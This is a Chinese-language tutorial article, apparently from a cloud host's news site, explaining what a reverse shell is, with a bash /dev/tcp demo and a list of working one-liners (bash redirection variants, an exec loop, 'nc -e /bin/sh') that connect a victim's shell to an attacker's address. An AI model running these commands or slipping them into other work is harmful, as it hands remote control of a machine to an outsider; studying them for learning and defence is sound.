中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

反彈shell是什么意思

發布時間:2022-01-13 15:39:19 來源:億速云 閱讀:1983 作者:小新 欄目:網絡管理

小編給大家分享一下反彈shell是什么意思,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

*嚴正聲明:本文僅限于技術討論與分享,嚴禁用于非法途徑。

0x00 前言

反彈shell,就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。

通俗點說,反彈shell就是一種反向鏈接,與正向的ssh等不同,它是在對方電腦執行命令連接到我方的攻擊模式,并且這種攻擊模式必須搭配遠程執行命令漏洞來使用。

為什么要反彈shell? 通常用于被控端因防火墻受限、權限不足、端口被占用等情形。

假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器,這是比較常規的形式,我們叫做正向連接。遠程桌面,web服務,sshtelnet等等,都是正向連接。

那么什么情況下正向連接不太好用了呢:

1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。

2.它的ip會動態改變,你不能持續控制。

3.由于防火墻等限制,對方機器只能發送請求,不能接收請求。

4.對于病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,才是上策。

那么反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈shell

0x01 反彈shell演示

我們用bash遠程代碼執行漏洞實例來了解一下他的原理

攻擊端:10.100.40.5 受害機:192.168.197.136?

首先我們需要在攻擊端去監聽端口,通過這個端口來接收受害機反彈的shell
在攻擊端輸入命令nc -l 2333

反彈shell是什么意思

然后在受害機執行命令

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

反彈shell是什么意思

我們就發現,在我們的攻擊端已經成功出現了我們的受害端的shell,在我們的攻擊端就能對受害端來進行下一步操作

反彈shell是什么意思

例如:

反彈shell是什么意思

0x02 原理

2.1 反彈shell的命令原理

(1)bash -i

bashlinux的一個比較常見的shell,是許多Linux發行版的默認Shell
-i這個參數的意思是產生交互式的shell

(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port這個文件是特別特殊的,實際上可以將其看成一個設備(Linux下一切皆文件),其實如果你訪問這個文件的位置他是不存在的,如下圖:

反彈shell是什么意思

(3) 但是如果你在一方監聽端口的情況下對這個文件進行讀寫,就能實現與監聽端口的服務器socket通信

我們輸出字符到/dev/tcp這個文件中

受害端:

反彈shell是什么意思

攻擊端:

反彈shell是什么意思

(4) 下面我們在看將輸出轉移到到受害端,在攻擊端繼續監聽2333端口,并且在攻擊端輸入內容回車就會出現在受害端。

反彈shell是什么意思

反彈shell是什么意思

(5)這樣思路就比較清晰了,下面再說交互重定向:

為了實現交互,我們需要把受害者交互式shell的輸出重定向到攻擊機上;

在受害者機器上輸入:

bash -i > /dev/tcp 10.100.40.5/2333

然后我們發現無論輸入什么指令都不會有回顯,回顯出現在了攻擊端標準輸出被定向到了攻擊端。

反彈shell是什么意思

反彈shell是什么意思

這樣只是回顯而已,并沒有辦法在攻擊端直接執行命令。

(6)所以我們還需要將攻擊者輸入的指令輸入給受害者的bash

bash -i < /dev/tcp/10.100.40.5/2333

這樣就會做到在攻擊端輸入命令,回顯到受害端:

反彈shell是什么意思

反彈shell是什么意思

(7)最重要的在與怎么將兩個操作結合起來,實現在攻擊端輸入攻擊端輸出,我們需要將輸出輸入都綁定到/dev/tcp這個文件下。

命令:

bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

反彈shell是什么意思

攻擊端:

反彈shell是什么意思

我們發現完全實現了我們的需求,在攻擊端執行命令,并且回顯,這個命令,做到了輸入0是由/dev/tcp/192.168.146.129/2333輸入的,也就是攻擊機的輸入,命令執行的結果1,會輸出到/dev/tcp/192.168.156.129/2333上,這就形成了一個回路,實現了我們遠程交互式shell的功能。
我們發現還是有一個小問題,我們可以看到,雖然命令執行結果在攻擊端回顯,但是受害端依然是有命令回顯的,
所以我們需要解決這個問題
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

這樣命令就不會回顯到受害端了。

反彈shell是什么意思

就算是錯誤輸出也會輸出到攻擊端,這樣就達到了我們的目的。

反彈shell是什么意思

2.2 常見反彈shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0<&1
bash -i>& /dev/tcp/10.100.40.5/2333 0<&1

這兩個幾乎是一樣的唯一的區別是0>&10<&1,其實就是打開方式的不同,而對于這個文件描述符來講并沒有什么區別。

(2) 方法二

bash -i >& /dev/tcp/10.100.40.5/2333 <&2
bash -i >& /dev/tcp/10.100.40.5/2333 0<&2

(3) 方法三

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&amp1;done
0<&amp196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

以上是“反彈shell是什么意思”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

岳普湖县| 永善县| 芒康县| 崇仁县| 万山特区| 屯昌县| 铁力市| 竹北市| 商都县| 抚宁县| 中西区| 泾阳县| 浦江县| 翼城县| 昭平县| 苏尼特左旗| 和硕县| 嘉祥县| 丹巴县| 双江| 齐齐哈尔市| 霍州市| 樟树市| 通渭县| 张掖市| 武清区| 龙井市| 拉孜县| 宕昌县| 汉中市| 和田县| 舟曲县| 谢通门县| 亚东县| 华容县| 平远县| 鹤壁市| 宣城市| 青龙| 封开县| 汽车|